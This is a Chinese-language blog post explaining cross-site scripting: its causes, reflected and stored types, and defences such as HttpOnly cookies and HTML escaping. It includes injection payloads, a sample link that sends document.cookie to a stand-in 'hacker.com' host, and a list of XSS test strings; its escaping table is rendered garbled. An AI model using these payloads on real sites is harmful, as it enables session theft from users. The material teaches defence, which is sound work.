简单总结一下 XSS
2017-07-04 20:10
204 查看
你听说过
XSS(Cross-site scripting, 跨站脚本)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。
研究表明,最近几年 XSS 已经超过 “缓冲区溢出” 成为最流行的攻击方式,有68%的网站可能遭受此类攻击。
那么检测一下你是否充分了解 XSS 吧
XSS 为什么会发生?
XSS 有几种类型?
XSS 如何预防和修复?
如果可以回答👆3个问题,这篇文章对你提升是微乎其微的。
如果不可以,你可以花十分钟左右阅读一下。
我目前的客户是一家银行,因为企业特性和业务需求,对系统安全高度重视。
因此,我不得不分析了整个系统,从中找出未对应 XSS 的 Code 。说实话,虽然是企业内部系统,但是代码也不少,看代码看的我都快吐了。
得益于此,让我对
那么,为什么用户输入的数据会被当成代码并且被执行呢?
因为当用户输入尖括号
[小例子]
假如有下面一个textbox
只有当前用户被影响,影响范围:小。
[小例子]
如果你点击了👆链接,你cookie信息就有可能被发送到黑客的服务器
虽然链接可能被用户怀疑,但是可以通过短网址服务将之缩短,从而隐藏攻击代码。
所有浏览这部分数据的用户都将被攻击代码影响,影响范围:大
[小例子]
html模版如下:
当从数据库查询的 message 如下:
生成的 html 将变成👇:
此时,html可能已经不受我们控制了。
原则:所有用户输入都是不可信的。(注意:攻击代码不一定仅在
预防 反射型XSS
将重要的cookie标记为
预防 持久型XSS
处理掉可能破坏原始代码结构的特殊字符。将特殊字符编码成转义字符,使其成为数据的一部分而不是代码。
[需要编码的7个字符]
有两点需要特别说明的是:
不推荐将单引号
需要对斜杠号
分享一些用于检测 XSS 的测试用例
希望这篇文章对你有帮助。by iamtjcn
首发:blog.iamtjcn.com
XSS吗?
XSS(Cross-site scripting, 跨站脚本)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。
研究表明,最近几年 XSS 已经超过 “缓冲区溢出” 成为最流行的攻击方式,有68%的网站可能遭受此类攻击。
那么检测一下你是否充分了解 XSS 吧
XSS 为什么会发生?
XSS 有几种类型?
XSS 如何预防和修复?
如果可以回答👆3个问题,这篇文章对你提升是微乎其微的。
如果不可以,你可以花十分钟左右阅读一下。
我目前的客户是一家银行,因为企业特性和业务需求,对系统安全高度重视。
因此,我不得不分析了整个系统,从中找出未对应 XSS 的 Code 。说实话,虽然是企业内部系统,但是代码也不少,看代码看的我都快吐了。
得益于此,让我对
XSS的理解更加深了一层。
1. XSS 为什么会发生?
因为用户输入的数据被当成代码执行了。那么,为什么用户输入的数据会被当成代码并且被执行呢?
因为当用户输入尖括号
< >,引号
'
",斜杠
/之类的特殊字符时,可能破坏原始的代码结构,导致输入的部分内容被当成代码,并且被执行。
[小例子]
假如有下面一个textbox
<input type="text" name="message" value="hello tj">
hello tj是来自用户的输入,如果用户不是输入
hello tj,而是输入
"/><script>alert(document.cookie)</script><p name="那么就会变成👇的样子。可不可怕?
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">
2. XSS 有几种类型?
XSS 有两种类型,反射型XSS和
持久型XSS。
反射型XSS
也就是非持久型XSS,常见诱骗用户点击带有攻击代码的URL链接,链接被浏览器执行,从而攻击用户。只有当前用户被影响,影响范围:小。
[小例子]
<a href="http://xxx91.com/index?term=<script>window.open('http://hacker.com?yourcookie='+document.cookie)</script>">小姐姐</a>
如果你点击了👆链接,你cookie信息就有可能被发送到黑客的服务器
http://hacker.com。
虽然链接可能被用户怀疑,但是可以通过短网址服务将之缩短,从而隐藏攻击代码。
持久型XSS
也叫存储型XSS,提交包含攻击代码的数据到服务器。所有浏览这部分数据的用户都将被攻击代码影响,影响范围:大
[小例子]
html模版如下:
<input type="text" name="message" value="${message}">
当从数据库查询的 message 如下:
"/><script>alert(document.cookie)</script><p name="
生成的 html 将变成👇:
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">
此时,html可能已经不受我们控制了。
3. XSS 如何预防和修复?
原则:所有用户输入都是不可信的。(注意:攻击代码不一定仅在
<script></script>中。)
预防 反射型XSS
将重要的cookie标记为
http only,这样的话Javascript 中的document.cookie语句就不能获取到cookie了。
预防 持久型XSS
处理掉可能破坏原始代码结构的特殊字符。将特殊字符编码成转义字符,使其成为数据的一部分而不是代码。
[需要编码的7个字符]
& –> & < –> < > –> > " –> " ` -> ` ' –> ' / –> /
有两点需要特别说明的是:
不推荐将单引号
'编码为
' ,因为它并不是标准的HTML标签
需要对斜杠号
/编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用
(最后)
分享一段简单的代码function escapeHtml(value) { if (typeof value !== 'string') { return value } return value.replace(/[&<>`"'\/]/g, function(result) { return { '&': '&', '<': '<', '>': '>', '`': '`', '"': '"', "'": ''', '/': '/', }[result] }) }
分享一些用于检测 XSS 的测试用例
><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> "><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert (vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> <img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
希望这篇文章对你有帮助。by iamtjcn
首发:blog.iamtjcn.com
相关文章推荐
- 简单总结一下这几个月的活动吧。公司春游活动,参观怀柔影视城。
- 最近坛子里问行列转换的很多,简单总结一下。
- JDBC与数据库,简单总结一下。
- opencv 学习第四天 学习opencv(中文版) 总结一下opencv的图像视频的简单应用
- 关于I2C驱动系统,将今天总结的内容简单总结一下
- 最近坛子里问行列转换的很多,简单总结一下。
- 简单总结一下mysql的性能分析方法,陆续更新
- 简单总结一下指针
- 再总结一下QT常用的简单的数据库命令,复杂的不太用的上。
- 简单总结一下
- HTTP协议,简单总结一下
- POJ 8道简单的并查集 秒光了所有已知的简单并查集,总结一下,共8道。
- 【Java】简单总结一下Java中printf()的用法
- 简单递推 学到的一些皮毛,总结一下
- 【Java】简单总结一下Java中printf()的用法
- 简单总结一下这几天的工作ffmpeg
- 简单总结一下.net获得虚拟目录几个基本操作
- 简单总结一下吧
- 简单总结一下debug
- 简单总结一下科目三的重点